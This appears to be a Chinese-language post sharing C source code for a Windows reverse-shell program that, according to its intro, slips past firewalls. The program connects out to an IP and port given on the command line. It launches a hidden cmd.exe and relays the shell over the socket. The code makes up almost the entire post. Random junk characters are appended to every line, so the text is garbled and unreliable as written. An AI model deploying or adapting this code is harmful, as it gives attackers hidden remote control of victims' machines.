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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 73~Mq7~8  
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/* ============================== CHpDzG>]4  
Rebound port in Windows NT ,.FTw,<  
By wind,2006/7 qd|*vE  
===============================*/ r-YQsu&  
#include l*Y~h3  
#include H[N&Wiq/|  
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#pragma comment(lib,"wsock32.lib") xYu~}kMu  
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void OutputShell(); Sw1]]-Es  
SOCKET sClient; x}x@_w   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2Bjp{)*  
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void main(int argc,char **argv) ex!^&7Q(  
{ Y(SI`Xo[  
WSADATA stWsaData; LVEVCpp@  
int nRet; y]jh*KD[  
SOCKADDR_IN stSaiClient,stSaiServer; "}HQ)54&  
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if(argc != 3) Gm2rjpZeq  
{ J#x91Jh  
printf("Useage:\n\rRebound DestIP DestPort\n"); \[oHt:$do  
return; O[L8(+Sn  
} iz^wBQ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2mlE;.}8  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fo G<$9  
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stSaiClient.sin_family = AF_INET; Ez$5wY^J  
stSaiClient.sin_port = htons(0); <@vE 3v;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #wjBMR%  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C95,!q  
{ {f&ga  
printf("Bind Socket Failed!\n"); ,){0y%c#y  
return; G2^DukK.  
} OXacI~C  
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stSaiServer.sin_family = AF_INET; K`X2N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u9gr@06  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IB6]Wj  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^`!Daqk  
{ \S<5b&G  
printf("Connect Error!"); >eTlew<5  
return; Ji!-G4.n"  
} `l+SJLyJ%  
OutputShell(); -&EmEXs%  
} `@e H4}L*  
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void OutputShell() |i`@!NrFL  
{ gCJ'wv)6|%  
char szBuff[1024]; =R'v]SXj  
SECURITY_ATTRIBUTES stSecurityAttributes;  B~NC  
OSVERSIONINFO stOsversionInfo; DsX>xzM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H+;wnI>@  
STARTUPINFO stStartupInfo; Ax0,7,8y  
char *szShell; RrHnDO'  
PROCESS_INFORMATION stProcessInformation; ger<JSL%  
unsigned long lBytesRead; =eqI]rVj^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2jW>uk4/i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u,m-6@ il  
stSecurityAttributes.lpSecurityDescriptor = 0; %&Cl@6  
stSecurityAttributes.bInheritHandle = TRUE; Wn^^Q5U#  
<yS"c5D6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dNQSbp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $)3PF  
s.sy7%{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yU|ji?)e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \vsrBM  
stStartupInfo.wShowWindow = SW_HIDE; }BJ1#<  
stStartupInfo.hStdInput = hReadPipe; k Ml<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &%X Jf~IQ  
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GetVersionEx(&stOsversionInfo); 1[l>D1F?  
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switch(stOsversionInfo.dwPlatformId) CLfb`rF  
{ {0e{!v  
case 1: AfN   
szShell = "command.com"; ]7t\%_  
break; qm=F6*@}  
default: t4_K>Mj+d  
szShell = "cmd.exe"; [T]qm7 ?  
break; va(9{AXI  
} &t/<yq}{  
q "D L6 >j  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8MeXVhM  
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send(sClient,szMsg,77,0); }AW)R&m  
while(1) (eG]Cp@  
{ THgzT\_zq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M3@fc,Ch  
if(lBytesRead) j!MA]0lTM  
{ kQd[E-b7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hS{ *l9v7  
send(sClient,szBuff,lBytesRead,0); +Z&&H'xD  
} /v)!m&6]>  
else $lAb6e$n  
{ UUf1T@-  
lBytesRead=recv(sClient,szBuff,1024,0); sQAc"S  
if(lBytesRead<=0) break; V 1nZ M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,35: Srf|  
} $;i$k2n:  
} %[\x%m)  
d)1sP0Z_@  
return; vDeG20.?Z  
}
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